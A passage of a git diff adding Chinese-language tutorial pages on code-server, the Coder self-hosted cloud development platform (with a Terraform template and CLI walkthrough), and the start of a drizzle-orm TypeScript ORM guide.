自托管开源 | 完整 VS Code + 密码认证 + 内置端口代理 + Open VSX;补丁式维护上游 | 个人、小团队、要掌控数据的场景 | +| **github.dev** | GitHub 托管 Web 编辑 | 点 `.` 打开仓库的轻量 Web 编辑器;**只服务 GitHub 仓库**,无自托管、无任意机器 | 快速改 README、小 PR,不想装客户端 | +| **GitHub Codespaces** | GitHub 托管 SaaS | 完整云端工作区 + 计费;与 PR/Issue 深度集成;官方 Marketplace | 已用 GitHub、接受按量付费的团队 | +| **Gitpod** | 托管 SaaS + 开源组件 | 商业产品按工作区计费;自托管侧常用其 **OpenVSCode-Server** 镜像,而非直接跑 Gitpod 全家桶 | 要「Codespaces 式」体验且可接受 SaaS 或自己拼 K8s | +| **OpenVSCode-Server**(Gitpod 维护) | 自托管开源 | 更接近上游 VS Code;**官方扩展市场**;连接 token 鉴权;少 code-server 的代理/配置文件增值 | 扩展兼容优先、愿意用 Nginx 补安全层 | +| **VS Code Web**(`code serve-web`) | 微软官方本地命令 | 可访问微软官方扩展市场;**无内置认证**;需自行解决暴露与安全 | 本机或受信内网、必须要官方市场的用户 | +| **[[theia]]** | IDE 框架 | 不是开箱产品,是「造云 IDE 的脚手架」;扩展生态走 Theia + VS Code 双轨 | 企业要深度定制品牌 IDE、嵌业务系统 | +| **Coder** | 团队平台 | 用 Terraform 编排多工作区;code-server 可作为其中一个 App | 中大规模团队统一远程开发 | +| **[[monaco-editor]]** | 编辑器 SDK | 只有编辑区,没有终端/扩展宿主/调试面板 | 网站内嵌代码框、Playground,不是完整 IDE | +| **JetBrains Gateway** | 商业 IDE 远程 | IntelliJ 系远程开发,非 VS Code 生态 | Java/Kotlin 重度用户 | + +### 和 github.dev 怎么选? + +**github.dev** 是 GitHub 在浏览器里打开的「仓库编辑器」——在任意 GitHub 仓库页面按 `.` 键即可进入。它基于与 Codespaces 相同的 VS Code Web 架构,但**不给你一台可任意配置的远程机器**:工作区绑定当前仓库,算力与存储在 GitHub 侧,无法把家里 NAS 或公司内网机变成 IDE。 + +| 维度 | github.dev | code-server | +|------|------------|-------------| +| 入口 | `github.com` 仓库里按 `.` | 自己部署的 URL | +| 代码在哪 | GitHub 托管仓库 | 你指定的任意路径 / 任意 Git 远程 | +| 终端与 Docker | 受限(非完整本地 shell 体验) | 完整集成终端,等同远端 Linux 用户 | +| 费用 | 免费(公开/私有仓策略随 GitHub 计划) | 服务器成本(VPS 月费) | +| 自托管 | 不可能 | 核心卖点 | + +**结论**:改个文档、提个小 PR 用 github.dev 足够;要在**自有机器**上跑完整 IDE、挂内网数据库、长期 dev server,选 code-server。 + +### 和 Gitpod 怎么选? + +**Gitpod** 有两层含义,初学者容易混: + +1. **Gitpod 云服务**(gitpod.io):类似 Codespaces 的托管开发环境,按工作区时长计费,预置自动化(打开 PR 就起环境)。 +2. **OpenVSCode-Server**(`gitpod-io/openvscode-server`):Gitpod 开源的「上游 VS Code 浏览器服务端」,很多人自托管时实际用的是它,而不是商业 Gitpod 平台本身。 + +| 维度 | Gitpod SaaS | OpenVSCode-Server(自托管) | code-server | +|------|-------------|------------------------------|-------------| +| 运维 | 零运维 | 自己管一台机 / K8s | 自己管一台机 / Docker | +| 扩展市场 | 官方 Microsoft Marketplace | 官方 Marketplace | Open VSX(可配置) | +| 鉴权 | Gitpod 账号 / SSO | `--connection-token` | `config.yaml` 密码 / OAuth 代理 | +| 端口代理 | 平台内置 | VS Code 原生 Ports + 需反向代理 | 内置 `/proxy/:port` | +| 与 code-server 关系 | 竞品(同赛道云 IDE) | 技术近亲,实现哲学不同 | — | + +**结论**: + +- 要 **开箱团队云 IDE、不想碰服务器**:Gitpod 或 Codespaces,不是 code-server。 +- 要 **自托管且扩展必须与桌面 VS Code 一致**:优先考虑 OpenVSCode-Server。 +- 要 **自托管 + 内置密码登录 + 端口代理 + 配置文件**:code-server 更省心。 + +### 和 GitHub Codespaces 怎么选? + +- 要 **零运维、跟 GitHub PR 无缝**:Codespaces。 +- 要 **数据在自己机器、固定月费 VPS、不绑 GitHub**:code-server。 +- 很多团队两者并存:开源贡献走 Codespaces / github.dev,内网项目走自托管 code-server。 + +### 和 VS Code Remote-SSH 怎么选? + +- Remote-SSH:你**本地**仍装完整 VS Code 客户端,只是计算在远端——体验最原生,但需要安装桌面应用。 +- code-server:**纯浏览器**即可,适合 iPad、Chromebook、Guest 电脑;代价是上游版本跟进有补丁延迟,偶发扩展兼容问题。 + +--- + +## 踩过的坑 + +1. **反向代理忘了 WebSocket**:Nginx 需配置 `proxy_http_version 1.1`、`Upgrade`、`Connection` 头,否则终端秒断、保存文件失败。 +2. **扩展在 Open VSX 找不到**:去 VS Marketplace 网页下载 `.vsix`,在 code-server 里 `Extensions: Install from VSIX`。 +3. **子路径部署状态冲突**:若用 `https://domain.com/code/` 这种路径挂载,要用 code-server 的 `--base-path` 或等价配置;OpenVSCode-Server 在同样场景下更容易出状态碰撞,这是 code-server 专门修过的一类问题。 +4. **Safari + 严格 TLS**:若服务器只开 TLS 1.3,Safari 的 WebSocket 可能连不上(需允许 TLS 1.2);浏览器控制台可见 `OSSStatus: 9836`。 +5. **权限与文件归属**:Docker 部署时注意 `-u uid:gid`,否则在容器里创建的文件宿主机上改不了。 +6. **不要把 `auth: none` 暴露公网**:仅限 VPN/内网;公网实例务必密码 + HTTPS 或 OAuth。 + +--- + +## 适用 vs 不适用 + +**适用**: + +- 需要**浏览器访问**完整 VS Code,而非仅编辑器组件 +- 有自有服务器/VPS,希望**自托管**开发环境 +- 移动设备、轻量客户端远程写代码 +- 教学、演示、临时协作环境需要快速拉起统一 IDE +- 已用 Open VSX 或愿意手动装 `.vsix` + +**不适用**: + +- 必须用**微软官方扩展市场**且不愿维护 `.vsix`——考虑 VS Code Web 或 Codespaces +- 团队需要**多租户、配额、审计、SSO 编排**——直接用 Coder 平台而非裸 code-server +- 离线或极高延迟网络——浏览器 IDE 体验会明显变差 +- 主要写 Java/Kotlin 大单仓——JetBrains 远程体验通常更好 +- 只想在网页里嵌一个小代码框——用 [[monaco-editor]] 或 [[codemirror]],不必背整套 code-server + +--- + +## 架构一图流 + +``` +┌─────────────┐ WebSocket ┌──────────────────────────────────┐ +│ 浏览器 │ ◄────────────────► │ code-server (Node.js 包装进程) │ +│ (任意设备) │ HTTPS/WSS │ ├─ 静态前端 (VS Code Web UI) │ +└─────────────┘ │ ├─ 认证 / 代理 / 健康检查 │ + │ └─ 拉起 VS Code Server 子进程 │ + │ ├─ 扩展宿主 (Extensions) │ + │ ├─ 集成终端 (pty) │ + │ └─ LSP / DAP 子进程 │ + └──────────────────────────────────┘ + │ + ▼ + 远程文件系统 / Git / Docker +``` + +--- + +## 学到什么 + +1. **「完整 IDE 上云」和「编辑器组件上云」是两条路**——code-server 选的是前者,运维更重,但用户零安装。 +2. **补丁式跟进上游**是务实路线:不 fork 整个 VS Code 树,而是用 submodule + patch 跟 Code - OSS,升级时冲突相对可控。 +3. **自托管的核心是安全默认值**——密码、localhost 绑定、SSH 隧道文档写得很直白,因为一出事就是整台服务器沦陷。 +4. **Open VSX 是生态分水岭**——选 code-server 就要接受扩展市场与桌面 VS Code 不完全一致,这是许可和商业模式决定的,不是实现 bug。 +5. **端口代理是被低估的杀手特性**——全栈开发者若没它,浏览器 IDE 只能写后端 API,很难舒服地调前端页面。 + +--- + +## 延伸阅读 + +- 官方文档:[coder.com/docs/code-server](https://coder.com/docs/code-server) +- 安装指南:[Install](https://coder.com/docs/code-server/install) +- 安全暴露:[Guide — Expose code-server](https://coder.com/docs/code-server/guide) +- FAQ(与 Codespaces、OpenVSCode-Server 对比):[FAQ](https://coder.com/docs/code-server/FAQ) +- 团队方案:[coder/coder](https://github.com/coder/coder) +- 上游编辑器:[[vscode]]、[[monaco-editor]] + +--- + +## 关联 + +- [[vscode]] —— code-server 的上游;理解 Remote / 扩展宿主有助于理解 code-server 在远端跑了什么 +- [[monaco-editor]] —— 若只需编辑区 SDK,不必上 code-server 整机 +- [[theia]] —— 另一条「云 IDE」路线:框架化定制 vs code-server 的开箱即用 +- [[electron]] —— 桌面 VS Code 的壳;code-server 则把同类能力搬到浏览器 + 服务器 +- [[nginx]] —— 反向代理 code-server 时的常见搭档 +- [[kubernetes]] —— 大规模部署常把 code-server 或 Coder 工作区跑在 K8s 里 + +--- + +## 一句话记忆 + +code-server = 在自有服务器上跑完整 VS Code,用浏览器当显示器和键盘;重活在云端,人带个网页就能写代码。 + +--- + +## 反向链接 + + + +(暂无反向链接) + diff --git a/src/content/docs/projects/coder.md b/src/content/docs/projects/coder.md new file mode 100644 index 000000000..c91e90fff --- /dev/null +++ b/src/content/docs/projects/coder.md @@ -0,0 +1,347 @@ +--- +title: Coder — 自托管开发环境平台 +来源: https://github.com/coder/coder +日期: 2026-06-13 +子分类: 编辑器与 IDE +分类: CLI +provenance: pipeline-v3 +--- + +## 日常类比:公司统一配发的「云端工位」 + +想象你进了一家大厂。前台给你一张工牌,HR 说:「去三楼选个空位,电脑、显示器、VPN、内网权限都配好了,坐下就能写代码。」你不需要自己买机器、装系统、配防火墙——**平台团队**早就把「标准开发工位」定义成模板,你只管刷卡入座。 + +**Coder 干的就是这件事,只不过工位在云上。** 平台管理员用 Terraform 写好「工位规格」(Ubuntu + Docker + [[code-server]] + 8GB 内存),开发者登录后点几下就领到一台隔离的远程工作区,用 [[vscode]]、Cursor、JetBrains、SSH 或浏览器终端连进去写代码。机器闲置会自动关机省钱,下次启动几秒恢复——像本地电脑,但算力和数据都在你公司自己的 AWS / Azure / GCP / 内网 Kubernetes 上。 + +项目地址:[coder/coder](https://github.com/coder/coder),Apache 2.0 开源。官方定位:**self-hosted platform for running AI coding agents and cloud development environments on infrastructure you control**——控制面、工作区、甚至 AI Agent 循环都跑在你掌控的基础设施上,而不是某家 SaaS 的黑盒里。 + +--- + +## 这个项目解决什么问题 + +### 痛点 1:每人本地环境不一致 + +新人入职要装三天:Node 版本、Docker、公司 CA 证书、私有 npm registry……「在我机器上能跑」是团队永恒的梗。Coder 把环境固化在 **Template(模板)** 里,所有人从同一套镜像和启动脚本出发,差异只剩「你领的是大规格还是小规格工作区」。 + +### 痛点 2:笔记本算力不够,又离不开完整 IDE + +编译单体仓库、跑集成测试、起多个 Docker Compose 服务——笔记本风扇起飞。Coder 把重活放到云主机或 K8s Pod,本地只跑 IDE 客户端或浏览器;官方文档强调 idle workspace 可 **autostop**,避免云账单像漏水的水龙头。 + +### 痛点 3:远程开发 SaaS 绑定生态、数据出境 + +GitHub Codespaces、Gitpod 等产品好用,但计费、合规、数据驻留往往不由你说了算。Coder 是**自托管**方案:PostgreSQL、控制面、Provisioner 都在你的 VPC 或机房,适合金融、政务、军工等有数据主权要求的场景。 + +### 痛点 4:平台团队需要「可编程」的治理层 + +不仅要发机器,还要统一:谁能用 GPU 模板、工作区最长存活多久、能否访问外网、预装哪些 AI 工具。Coder 用 Terraform 描述基础设施,管理员在模板层注入策略,比手工 SSH 配机器可审计、可版本化。 + +--- + +## 核心概念拆解 + +理解 Coder 不需要先成为 Terraform 专家,但要把下面几个名词分清——它们出现在仪表盘、CLI 和每一行模板代码里。 + +### 1. coderd — 控制平面(大脑) + +运行 `coder server` 启动的核心服务叫 **coderd**。它提供: + +- Web 仪表盘与 HTTP API +- 用户认证(可对接 OIDC / SAML 等 IdP) +- 工作区生命周期编排(创建、启动、停止、删除) +- **Dev URLs**:把 `https://coder.company.com/@alice/my-ws/apps/code-server/` 反代到工作区内的 Web 应用 +- 与 PostgreSQL 通信(**只有 coderd 读写数据库**) + +生产环境通常部署多个 coderd 副本做高可用;默认每个副本内嵌若干 **provisionerd** 进程。 + +### 2. PostgreSQL — 唯一状态存储 + +会话令牌、模板版本、工作区元数据、审计日志索引等都落在 Postgres。试用可以内嵌数据库;生产建议外置托管 PG 并做备份。控制面本身无状态,扩缩容靠多加 coderd 实例。 + +### 3. provisionerd — Terraform 执行器(双手) + +**provisionerd** 是真正跑 `terraform apply` / `destroy` 的地方。工作区每次创建、启动、停止,本质上都是一次受控的 IaC 变更。当前主要 Provisioner 是 **Terraform**;你可以把 provisionerd 拆到独立节点,避免用户工作负载与基础设施变更抢同一台机器的 CPU。 + +### 4. Template — 工位蓝图 + +**Template** 是管理员维护的「工作区配方」,主体是一个 Terraform 项目(`main.tf` + Dockerfile + 模块等)。里面定义: + +- 计算资源(EC2、Azure VM、K8s Pod、本地 Docker 容器……) +- 存储卷是否持久(关机后 home 目录还在不在) +- `coder_agent` 如何安装、启动脚本、环境变量 +- `coder_app` 暴露哪些 Web IDE(如 [[code-server]]、Jupyter) + +模板推送到 Coder 后版本化;开发者只能选用管理员发布的模板,不能随意 `terraform` 一台裸机。 + +### 5. Workspace — 你的那一格工位 + +**Workspace** 是某用户从某模板实例化出来的一套云资源集合:可能包含 VM + 磁盘 + 密钥 + Sidecar。分两类资源: + +- **计算资源(computational)**:跑 `coder_agent` 的 VM/容器 +- **外围资源(peripheral)**:存储桶、数据库实例等不跑 agent 的东西 + +资源又可分 **持久(persistent)** 与 **临时(ephemeral)**:关机时临时资源销毁,持久卷保留——常见做法是「只有 `/home` 持久,容器每次重建」,兼顾省钱与环境新鲜度。 + +### 6. coder agent — 工作区内的联络员 + +每个工作区里跑一个 **coder_agent** 进程。它: + +- 与 coderd 建立连接(常用 WireGuard 隧道,无需工作区开放公网入站端口) +- 提供 SSH、端口转发、文件同步 +- 上报 CPU/内存等元数据到仪表盘 +- 托管 `coder_app` 注册的本地 Web 服务 + +模板里通过 `coder_agent` Terraform resource 声明;容器启动时注入 `CODER_AGENT_TOKEN` 完成注册。 + +### 7. coder_app — 仪表盘里的「应用图标」 + +`coder_app` 把工作区内的 HTTP 服务(或外部链接)登记到 Coder UI。用户点图标即可打开浏览器版 VS Code、Jupyter Lab,或公司内部 Wiki。可配 `healthcheck` 做就绪探测。 + +### 8. 连接方式一览 + +| 方式 | 适用场景 | +|------|----------| +| VS Code / Cursor / JetBrains 插件 | 日常编码,体验接近 Remote-SSH | +| `coder ssh` / 原生 SSH | 终端党、脚本自动化 | +| Web Terminal | 无本地 IDE 时的兜底 | +| Dev URL / Workspace App | 浏览器里跑 [[code-server]] 等 | + +### 9. 与 code-server 的关系 + +同仓库生态里的 [[code-server]] 是「单机浏览器版 VS Code」。**Coder 是编排层**:批量发工作区、管模板、做租户隔离和策略。模板里的 `startup_script` 经常安装 code-server,再用 `coder_app` 挂到仪表盘——二者是 **平台 vs 单应用** 的关系,不是替代关系。 + +### 10. Coder 不是什么 + +官方文档刻意划清边界: + +- **不是** 通用 IaC 平台——Terraform 只是第一种 Provisioner,用来描述工作区 +- **不是** 全托管 SaaS——你要自己装 coderd、备数据库、选云账号 +- **不要求** 用户会写 Terraform——可以用 [Coder Registry](https://registry.coder.com) 现成模板起步 + +--- + +## 架构一图流 + +```text +开发者 ──► coder CLI / IDE 插件 / 浏览器 + │ + ▼ + ┌─────────┐ ┌──────────────┐ + │ coderd │◄────►│ PostgreSQL │ + │ (API/UI)│ └──────────────┘ + └────┬────┘ + │ 调度 terraform apply + ▼ + ┌─────────────┐ + │ provisionerd │ + └────┬────────┘ + │ 创建/销毁云资源 + ▼ + ┌─────────────────────────────┐ + │ Workspace (VM / Pod / …) │ + │ ┌─────────────────────┐ │ + │ │ coder_agent │ │ + │ │ ├─ code-server:13337│ │ + │ │ └─ your app :8080 │ │ + │ └─────────────────────┘ │ + └─────────────────────────────┘ + ▲ + │ 加密隧道 (SSH / WireGuard) + └──────── 开发者本机 IDE +``` + +--- + +## 代码示例 1:最小 Docker 模板(Terraform) + +下面片段来自官方「从零写模板」教程的精简版,展示 **agent + 持久卷 + 临时容器 + code-server 应用** 四件套。完整教程见 [Write a template from scratch](https://coder.com/docs/tutorials/template-from-scratch)。 + +```hcl +terraform { + required_providers { + coder = { source = "coder/coder" } + docker = { source = "kreuzwerker/docker" } + } +} + +data "coder_workspace" "me" {} +data "coder_workspace_owner" "me" {} + +# 1) 工作区里跑的 agent:启动脚本装 code-server,并暴露 CPU/RAM 元数据 +resource "coder_agent" "main" { + arch = "amd64" + os = "linux" + + startup_script = <<-EOT + curl -fsSL https://code-server.dev/install.sh | sh -s -- --method=standalone --prefix=/tmp/code-server + /tmp/code-server/bin/code-server --auth none --port 13337 & + EOT + + env = { + GIT_AUTHOR_EMAIL = data.coder_workspace_owner.me.email + } +} + +# 2) 在仪表盘添加「code-server」图标,带健康检查 +resource "coder_app" "code-server" { + agent_id = coder_agent.main.id + slug = "code-server" + display_name = "VS Code (Web)" + url = "http://localhost:13337/?folder=/home/coder" + share = "owner" + + healthcheck { + url = "http://localhost:13337/healthz" + interval = 5 + threshold = 6 + } +} + +# 3) 持久 home 目录:关机不删 +resource "docker_volume" "home" { + name = "coder-${data.coder_workspace.me.id}-home" + lifecycle { ignore_changes = all } +} + +# 4) 临时容器:stop 时销毁,start 时按 start_count 重建 +resource "docker_container" "workspace" { + count = data.coder_workspace.me.start_count + image = "coder-base-ubuntu:latest" + name = "coder-${lower(data.coder_workspace.me.name)}" + + env = ["CODER_AGENT_TOKEN=${coder_agent.main.token}"] + + volumes { + container_path = "/home/coder" + volume_name = docker_volume.home.name + } +} +``` + +读懂这段,你就抓住了 Coder 模板的灵魂:**Terraform 描述云资源,`coder_*` 资源描述「人怎么连上去」**。 + +--- + +## 代码示例 2:CLI 从登录到创建工作区 + +Coder 服务端与客户端共用同一个 `coder` 二进制。安装(Linux/macOS): + +```bash +curl -L https://coder.com/install.sh | sh +``` + +**启动单机试用服务器**(内置数据库,适合本机体验): + +```bash +coder server +# 浏览器打开 http://127.0.0.1:3000 完成首次设置 +``` + +**连接已有团队部署**: + +```bash +coder login https://coder.example.com +# 按提示在浏览器完成 CLI 授权,粘贴 token +``` + +**管理员推送模板**(在含 `main.tf` 的目录执行): + +```bash +cd my-template/ +coder templates push +# 确认后模板出现在仪表盘 Templates 页 +``` + +**开发者创建工作区并 SSH 进入**: + +```bash +# 列出可用模板 +coder templates list + +# 从模板创建名为 backend 的工作区 +coder create backend --template docker-ubuntu + +# 查看状态,等待 Running +coder list + +# 等价于 ssh backend.coder.example.com +coder ssh backend + +# 在本地 VS Code 中打开(需安装 Coder 插件) +coder code backend +``` + +**自动停机省成本**(模板或用户级配置,示意): + +```bash +# 查看工作区调度策略 +coder schedule show backend + +# 设置 8 小时无活动自动停止(具体子命令随版本可能为 schedule autostop) +coder config set autostop_template_default 8h +``` + +--- + +## 安装与部署路径 + +| 路径 | 适合谁 | 要点 | +|------|--------|------| +| `coder server` 单机 | 个人尝鲜、小团队 | 最快,内置 PG,不适合大规模 | +| Docker Compose | 小中型团队 | 官方提供 compose 示例,外置 Postgres | +| Kubernetes Helm | 平台团队生产标准 | 多副本 coderd、Ingress、外部 PG | +| 空气隙 / 私有镜像仓库 | 强合规客户 | 需自建镜像同步,试用许可可能受限 | + +系统要求随并发工作区数线性增长;Provisioner 节点建议与 coderd 分离,避免 Terraform 与用户编译争抢 I/O。 + +--- + +## 与同类方案怎么选 + +| 维度 | Coder | GitHub Codespaces | 自建 SSH 跳板机 | +|------|-------|-------------------|-----------------| +| 托管 | 自托管 | GitHub 托管 | 自托管 | +| 环境定义 | Terraform 模板 | devcontainer.json | 手工 / Ansible | +| IDE 支持 | 多 IDE + Web | 以 VS Code 为主 | 任意 SSH 客户端 | +| 多租户 / 审计 | 内置 | 依赖 GitHub Org | 需自建 | +| 自动关机 | 内置 autostop | 内置 | 需自己写 cron | +| 上手成本 | 中(要学模板) | 低 | 低但难规模化 | + +若你只是一个人、一台云主机、想要浏览器 VS Code,[[code-server]] 足够。若你要**给整个工程团队发标准化云桌面**,Coder 是正解。 + +--- + +## 常见坑与排查 + +1. **Agent 连不上 coderd**:检查工作区能否 `curl` 到 Coder 访问地址;Docker 模板里常要把 `localhost` 换成 `host.docker.internal`。 +2. **Provisioner 一直 Pending**:看 coderd 日志与 `coder provisioner jobs list`;Terraform 状态锁、云 API 配额、IAM 权限都会卡住。 +3. **Dev URL 502**:`coder_app` 的 `healthcheck` 未通过——启动脚本里 code-server 还没监听端口就宣告就绪。 +4. **持久卷被误删**:Terraform 里给 volume 加 `lifecycle { ignore_changes = all }`,并用 `coder_workspace.me.id` 而非常变名字做卷名。 +5. **扩展与镜像漂移**:把工具链写进 Dockerfile / 启动脚本,而不是让用户 SSH 进去手工 `apt install`——否则下次 ephemeral 重建就丢失。 + +--- + +## 学习路径建议(零基础) + +1. **30 分钟**:本机 `coder server`,用 Registry 里的 `docker` 或 `kubernetes` 入门模板创建一个工作区,体验 Web Terminal 和 code-server。 +2. **半天**:跟官方教程改一版 `main.tf`——加一个 `coder_app` 指向你的内部文档站,练习 `coder templates push`。 +3. **一周**:把模板迁到公司云账号(AWS EC2 或现有 K8s 集群),接上公司 OIDC 登录,配置 autostop 与配额。 +4. **进阶**:阅读 [Architecture](https://coder.com/docs/admin/infrastructure/architecture)、拆分外部 provisionerd、探索 AI Gateway / Agent Firewall 等治理组件。 + +--- + +## 小结 + +Coder 把「远程开发环境」从个人英雄主义(每人自己配机器)提升为**平台能力**:模板即政策,工作区即工位,agent 即安全隧道。你掌控云、数据与 IDE 选择;Terraform 负责可重复的基础设施;开发者得到的是「刷卡入座」的体验。 + +一句话:**Coder = 用 Terraform 批量发放、统一治理、任意 IDE 接入的自托管云开发工位系统。** + +--- + +## 延伸阅读 + +- 官方文档:[About Coder](https://coder.com/docs) +- 架构详解:[Infrastructure Architecture](https://coder.com/docs/admin/infrastructure/architecture) +- 模板教程:[Write a template from scratch](https://coder.com/docs/tutorials/template-from-scratch) +- 现成模板:[Coder Registry](https://registry.coder.com) +- 同生态浏览器 IDE:[[code-server]] +- 容器编排(工作区常跑在 K8s 上):[[kubernetes]] diff --git a/src/content/docs/projects/drizzle-orm.md b/src/content/docs/projects/drizzle-orm.md new file mode 100644 index 000000000..296a2d9c1 --- /dev/null +++ b/src/content/docs/projects/drizzle-orm.md @@ -0,0 +1,360 @@ +--- +title: drizzle-orm +来源: 'https://github.com/drizzle-team/drizzle-orm' +日期: '2026-06-13' +子分类: Web 后端 +分类: 后端 API +难度: '中级' +provenance: 'pipeline-v3' +season: 6 +--- + +## 日常类比:外卖平台的「菜单 + 查单 + 改店规」 + +想象你经营一家外卖平台,后台要操作三张核心表:`users`(顾客)、`orders`(订单)、`order_items`(菜品明细)。 + +真实世界里你会: + +- **先定菜单规格**——每道菜叫什么、多少钱、是否可售 → 对应 **schema 定义** +- **再按条件查单**——「今天未完成的订单」「某用户最近 10 单」→ 对应 **查询构建** +- **店铺升级要留档**——加一列「配送备注」、改价格字段类型 → 对应 **migration 迁移** + +**Drizzle ORM**([drizzle-team/drizzle-orm](https://github.com/drizzle-team/drizzle-orm))就是这套流程的 TypeScript 版调度员:你在普通 `.ts` 文件里描述表结构和查询意图,它翻译成**参数化 SQL**发给 PostgreSQL / MySQL / SQLite 等,并把返回行映射成带类型的对象。 + +和 [[prisma]] 的「点菜按钮」不同,Drizzle 更像**自己写厨房工单**——`select().from(orders).where(eq(orders.status, 'pending'))` 读起来几乎就是 SQL。懂 SQL 的人上手快;不熟 SQL 的人会觉得 Prisma 的 JSON 式 API 更顺,这是审美差异,不是对错。 + +--- + +## 是什么 + +Drizzle 是一套用 TypeScript 定义数据库表结构、用链式 API 拼 SQL、全程类型推导的轻量 ORM。特点可以压成三句: + +1. **无 codegen 客户端**——改 schema 后不用跑 `prisma generate`,类型从 TS 直接推断。 +2. **SQL 可见**——query builder 每一节链式调用对应 SQL 的一个子句,日志里看到什么就是什么。 +3. **体积小**——核心包 KB 级,适合 Cloudflare Workers、Vercel Edge、Bun 等对 bundle 和冷启动敏感的环境。 + +配套 CLI **drizzle-kit** 负责 migration:`generate` 从 schema diff 出 SQL 文件,`migrate` 应用到库,`push` 适合本地原型快速对齐。 + +--- + +## 解决什么问题 + +Node.js 访问数据库的长期痛点里,Drizzle 切的是「**TypeScript 全栈 + Serverless + 团队会 SQL**」这条缝: + +| 痛点 | Drizzle 的回应 | +| --- | --- | +| ORM 太重、冷启动慢、塞不进 Edge | 零原生二进制,Workers / Edge 可跑 | +| Prisma 每次改 schema 要 `generate` | `$inferSelect` / `$inferInsert` 从 schema 直接推断 | +| Raw SQL 无类型、列名拼错运行时才发现 | `users.email` 是类型化列引用,编译期报错 | +| TypeORM 装饰器 + 隐式 SQL 难调试 | builder 与 SQL 子句 1:1 | +| Knex 有 builder 但 schema 与类型脱节 | schema 即类型唯一真相源 | + +Drizzle **不替代** DBA 写复杂存储过程,也**不承诺**让完全不懂 SQL 的人无痛上手。2026 年语境里,Prisma 7 已用 TS/WASM 替换 Rust query engine,体积和冷启动差距在缩小——但 Drizzle 仍是无 codegen、SQL 一一对应的轻量选项;选型时「团队会不会 SQL」往往比 benchmark 差几十毫秒更决定性。 + +--- + +## 与 Prisma / TypeORM / Knex 的对比 + +| 工具 | 哲学 | Schema 在哪 | Query 风格 | +| --- | --- | --- | --- | +| **Prisma** | Schema-first + 生成客户端 | `.prisma` DSL | `prisma.user.findMany({ include })` | +| **Drizzle** | SQL-first + TS 推断 | TS `pgTable(...)` | `db.select().from(users).where(...)` | +| **TypeORM** | 企业级 ORM | `@Entity` 装饰器类 | Repository / QueryBuilder | +| **Knex** | 查询构建器(非完整 ORM) | 无内建 schema | `knex('users').where({ id: 1 })` | + +| 维度 | Prisma | Drizzle | TypeORM | Knex | +| --- | --- | --- | --- | --- | +| 类型安全 | 生成 Client,极强 | schema 推断,极强 | 装饰器,关系字段偏松 | 弱 | +| Bundle / 冷启动 | Prisma 7:~1.6MB、80–150ms | ~5–7KB、50–100ms | ~80KB+,偏慢 | 轻量 | +| Edge | 支持但体积仍大 | 原生友好 | 不支持 | 视 driver | +| Migration | Prisma Migrate 最成熟 | drizzle-kit,快速迭代 | 内置 CLI | `knex migrate` | +| 关系查询 | `include` 一行嵌套 | `db.query` + `with` 或手写 join | `relations` + find | 手写 join | +| 学习曲线 | 低 | 中(最好会 SQL) | 中高 | 低(会 SQL 即可) | + +很多人把 Drizzle 看成「**有 schema 的 Knex**」:保留 builder 手感,同时让 `orders.status` 成为带类型的列对象。已有 Knex 迁移历史可渐进引入;`drizzle-kit pull` / `introspect` 还能从现有库反推 TS schema。 + +--- + +## 核心概念 + +### 1. Schema 定义(表结构即 TypeScript) + +Schema 是**唯一真相源**:migration diff、查询返回类型、insert 约束都从它流出。 + +```ts +// src/db/schema.ts +import { pgTable, serial, text, integer, timestamp } from 'drizzle-orm/pg-core' + +export const users = pgTable('users', { + id: serial('id').primaryKey(), + email: text('email').notNull().unique(), + name: text('name'), + createdAt: timestamp('created_at').defaultNow().notNull(), +}) + +export const orders = pgTable('orders', { + id: serial('id').primaryKey(), + userId: integer('user_id') + .notNull() + .references(() => users.id), + status: text('status').notNull().default('pending'), + totalCents: integer('total_cents').notNull(), + createdAt: timestamp('created_at').defaultNow().notNull(), +}) + +export const orderItems = pgTable('order_items', { + id: serial('id').primaryKey(), + orderId: integer('order_id') + .notNull() + .references(() => orders.id), + sku: text('sku').notNull(), + quantity: integer('quantity').notNull(), + unitPriceCents: integer('unit_price_cents').notNull(), +}) +``` + +要点: + +- `pgTable` / `mysqlTable` / `sqliteTable` 按方言选择,**没有**跨方言统一 `table` 抽象 +- `.notNull()` 把 TS 类型从 `string | null` 收窄为 `string` +- `typeof users.$inferSelect` → 查询行类型;`$inferInsert` → 插入时可选/必填字段 + +```ts +type User = typeof users.$inferSelect +// { id: number; email: string; name: string | null; createdAt: Date } + +type NewUser = typeof users.$inferInsert +// { email: string; name?: string | null; id?: number; createdAt?: Date } +``` + +### 2. 查询构建(Query Builder) + +**SQL-like API**——链式调用对应 SQL 子句: + +```ts +import { eq, and, desc } from 'drizzle-orm' +import { drizzle } from 'drizzle-orm/node-postgres' +import { users, orders } from './schema' + +const db = drizzle(pool) + +const recentPaid = await db + .select({ + orderId: orders.id, + total: orders.totalCents, + email: users.email, + }) + .from(orders) + .innerJoin(users, eq(orders.userId, users.id)) + .where(and(eq(users.id, 42), eq(orders.status, 'paid'))) + .orderBy(desc(orders.createdAt)) + .limit(10) +``` + +背后流程: + +1. `eq(...)` 生成 AST,**参数化**绑定,防 SQL 注入 +2. `select({...})` 字面量推导返回类型 +3. `await` 时序列化为一条 SQL 执行 + +**Relational Queries(RQB v2)**——类似 Prisma 的 `include`,用 `db.query` + `with`: + +```ts +import { relations } from 'drizzle-orm' +import { eq } from 'drizzle-orm' + +// relations 可集中定义(v2 推荐 defineRelations) +export const ordersRelations = relations(orders, ({ one, many }) => ({ + user: one(users, { fields: [orders.userId], references: [users.id] }), + items: many(orderItems), +})) + +const db = drizzle(pool, { schema: { users, orders, orderItems, ordersRelations } }) + +const userWithOrders = await db.query.users.findFirst({ + where: { id: 42 }, + with: { + orders: { + where: { status: 'pending' }, + with: { items: true }, + limit: 5, + }, + }, +}) +``` + +复杂报表、窗口函数仍建议 SQL-like builder;读多写少、嵌套关系可交给 RQB。 + +### 3. Migration(drizzle-kit) + +运行时 **不** codegen 客户端;结构变更靠 **drizzle-kit**: + +```bash +# 改 schema.ts 后生成 SQL 迁移 +npx drizzle-kit generate + +# 审查 drizzle/0001_xxx.sql 后应用 +npx drizzle-kit migrate + +# 本地原型快速对齐(生产慎用) +npx drizzle-kit push +``` + +```ts +// drizzle.config.ts +import { defineConfig } from 'drizzle-kit' + +export default defineConfig({ + dialect: 'postgresql', + schema: './src/db/schema.ts', + out: './drizzle', + dbCredentials: { url: process.env.DATABASE_URL! }, +}) +``` + +官方文档列出多种 migration 策略:generate + migrate、generate + 运行时 `migrate()`、generate + 外部工具(Atlas)、仅 `push` 做本地迭代等。2026 年 drizzle-kit 在 beta 线持续加强 **commutativity check**(`drizzle-kit 